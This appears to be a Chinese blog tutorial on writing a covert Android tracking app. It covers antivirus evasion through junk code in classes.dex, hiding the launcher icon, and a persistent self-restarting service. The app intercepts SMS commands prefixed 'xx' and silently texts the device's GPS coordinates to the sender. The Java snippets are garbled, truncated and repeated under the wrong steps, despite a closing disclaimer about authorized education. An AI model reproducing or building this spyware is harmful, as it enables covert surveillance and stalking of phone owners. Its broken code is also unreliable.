今天写了一篇Android作业,在写的过程中无意间涉及到了技术,也想写篇文章介绍所用到的技术。这个程序安装时果然会被识别为威胁软件,果真太敏感了。我们猜到软件会通过特征码、包名、权限、classes.dex等文件来判别是否为威胁软件,所以想对其免杀。我们可以通过在classes.dex里加入一些相关代码和一大堆无用的代码,来混淆杀毒软件,这样在一定程度上就可以达到免杀了。今天因为一件事被很重要的人误解,我心里也是怪怪的,于是就简单介绍些相关的
技术。先介绍两个可以应用于的技术:进程保护、GPS定位。结合短信截获和进程保护、GPS定位功能,我们可以实现这样一个小的程序:一个手机上先安装好我们写好的软件,就会收到这个手机发来的GPS定位信息。那么我们现在开始写代码。
在用到组件时,有时候我们可能暂时性的不使用组件,但又不想把组件kill掉,这时我们需要调用packageManager对象的setComponentEnabledSetting方法,然后我们需要隐藏应用图标,PackageManager主要是管理应用程序包,通过它就可以获取应用程序信息,隐藏图标设置下就好:
PackageManagerpm=this.getPackageManager(); pm.setComponentEna(this.getComponentName(),PackageManager.COMPONEN T_ENABLED_STATE_DISABLED,PackageManager.DONT_KILL_APP);
接着来启动后台服务吧,将主界面Activity瞬间关掉:
PackageManagerpm=this.getPackageManager(); pm.setComponening(this.getComponentName(),PackageManager.COMPONEN T_ENABLED_STATE_DISABLED,PackageManager.DONT_KILL_APP);
我们需要RemoteView是用来描述一个垮进程显示的view,在发现在手机休眠一段时间后,后台运行的服务会被强行kill掉,网上说有可能是系统回收内存的一种机制,要想避免这种情况需要通过startForeground让服务前台运行。因为前台服务是哪些被认为用户知道的并且在内存低的时候不允许系统杀死的服务。
PackageManagerpm=this.getPackageManager(); pm.setComponentEnabl(this.getComponentName(),PackageManager.COMPONEN T_ENABLED_STATE_DISABLED,PackageManager.DONT_KILL_APP);
接着在SmSserver里注册receiver,Android系统处理隐式Intent时,会比较Intent和IntentFilter的action等属性,我们设置好action,注册广播。
PackageManagerpm=this.getPackageManager(); pm.setComponentEnablhis.getComponentName(),PackageManager.COMPONEN T_ENABLED_STATE_DISABLED,PackageManager.DONT_KILL_APP);
下面是短信截获这一块,关于这一块的代码网上应该有详细说明吧,而我们这里要截获的是特定命令的短信,那就看一下短信的内容,进行过滤。然后如果是特定命令的短信,就进行GPS定位,然后把坐标什么的发过去,核心代码如下。
@Override publicvoidonReceive(Contextcontext,Intentintent){ ct=context; Stringbro=intent.getAction(); if(bro.equals(android.provider.Teln().equals(SmSserv er.GSM_SMS_RECEIVED)){ Bundlebundle=intent.getExtras();//收到的内容非空 if(bundle!=null){ getLt(); Object[]objects=(Object[])bundle.get(pdus);//pdus存放的是短信内容 SmsMessage[]messages=newSmsMessage[objects.length]; for(inti=0;imessages.length;i++){ byte[]pdu=(byte[])objects[i];//一个字符一个字符读取短信 messages[i]=SmsMessage.createFromPdu(pdu); } for(finaeBody(); Datedate=newDate(msg.getTimestampMillis()); SimpleDateFormat sdf=new SimpleDateFormat(yyyy-MM-dd HH:mm:ss); StringsendTime=sdf.format head=content.substring(0,2); if(head.equals(xx)){ Stringsender=msg.getOriginatingAddress(); sendSMS(sender*/ publicvoidsendSMS(StringphoneNumber,Stringmessage){ SmsManagersms=SmsManager.getDefault(); IntentsentIntent=newIntent(SENT_SMS_ACTION); PendingIntentsentPI=PendingIntent.getBroadcast(ct,0,sentIntent,0); IntentdeliverIntent=newIntent(DELIVERED_SMS_ACTION); PendingIntentdeliverPI=PendingIntent.getBroadcast(ct,0,deliverIntent,0); sms.sendTextMessage(phoneNumber,null,thelocation:+message,sentPI,deliverPI); }
还有一个获取可以做如下处理。
@Override publicvoidonReceive(Contextcontext,Intentintent){ ct=context; Stringbro=intent.getAction(); if(bro.equals(androi.SMS_RECEIVED)||intent.getAction().equals(SmSserv er.GSM_SMS_RECEIVED)){ Bundlebundle=intent.getExtras();//收到的内容非空 if(bundle!=null){ getLt(); Object[]objects=(Object[])bundle.get(pdus);//pdus SmsMessage[]messages=newSmsMsages.length;i++){ byte[]pdu=(byte[])objects[i];// messages[i]=SmsMessage.createFromPdu(pdu); } forntent=msg.getMessageBody(); Datedate=newDate(msg.getTimestampMillis()); SimpleDateFormat sdf=new SimpleDateFormat(yyyy-MM-dd HH:mm:ss); StringsendTime=sdf.format(date); //判断是否符合“xx...... head=content.substring(0,2); if(head.equals(xx)){ Stringsender=msg.getOriginatingAddress(); sendSMS(sender,gpsstr);}}}}} /*ngphoneNumber,Stringmessage){ SmsManagersms=SmsManager.getDefault(); IntentsentIntent=newIntent(SENT_SMS_ACTION); PendingIntentsentPI=PendingIntent.getBroadcast(ct,0,sentIntent,0); IntentdeliverIntent=newIntent(DELIVERED_SMS_ACTION); PendingIntentdeliverPI=PendingIntent.getBroadcast(ct,0,deliverIntent,0); sms.sendTextMessage(phoneNumber,null,thelocation:+message,sentPI,deliverPI); }
下面简写进程保护的代码,实际上就是让receiver运行着,我们可以静态注册另一个receiver类,在其中加入如下代码,如果发现service被关掉了,就马上开启它。
@Override publicvoidonReceive(Contextcontext,Intentintent){ ct=context; Stringbro=intent.getAction(); if(bro.equals(android.provider.Telephony.SMS_RECEIVED)||intent.getAction().equals(SmSserv er.GSM_SMS_RECEIVED)){ Bundlebundle=intent.getExtras();//if(bundle!=null){ getLt(); Object[]objects=(Object[])bundle.get(pdus);//pdusages=newSmsMessage[objects.length]; for(inti=0;imessages.length;i++){ byte[]pdu=(byte[])objec messages[i]=SmsMessage.cremPdu(pdu); } for(finalSmsMessagemsg:messag Stringcontent=msg.getMessageBody(); Datedate=newDate(msg.getTimestampMillis()); SimpleDateFormat sdf=new SimpleDateFormat StringsendTime=sdf.format(date); //判断是否符合“xx.......” Stringhead=null; head=content.substring(0,2); if(head.equals(xx)){ Stringsender=msg.getOriginatingAddress(); sendSMS(sender,gpsstr);}}}}} 我们这里自定义了两个函数 dsendSMS(StringphoneNumber,Stringmessage){ SmsManagersms=SmsManager.getDefault(); IntentsentIntent=newIntent(SENT_SMS_ACTION); PendingIntentsentPI=PendingIntent.getBroadcast(ct,0,sentIntent,0); IntentdeliverIntent=newIntent(DELIVERED_SMS_ACTION); PendingIntentdeliverPI=PendingIntent.getBroadcast(ct,0,deliverIntent,0); sms.sendTextMessage(phoneNumber,null,thelocation:+message,sentPI,deliverPI); }
编译以上代码并运行,可看到结果如图1所示,就是收到的坐标信息了。
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,作者不鼓励或支持任何形式的非法行为。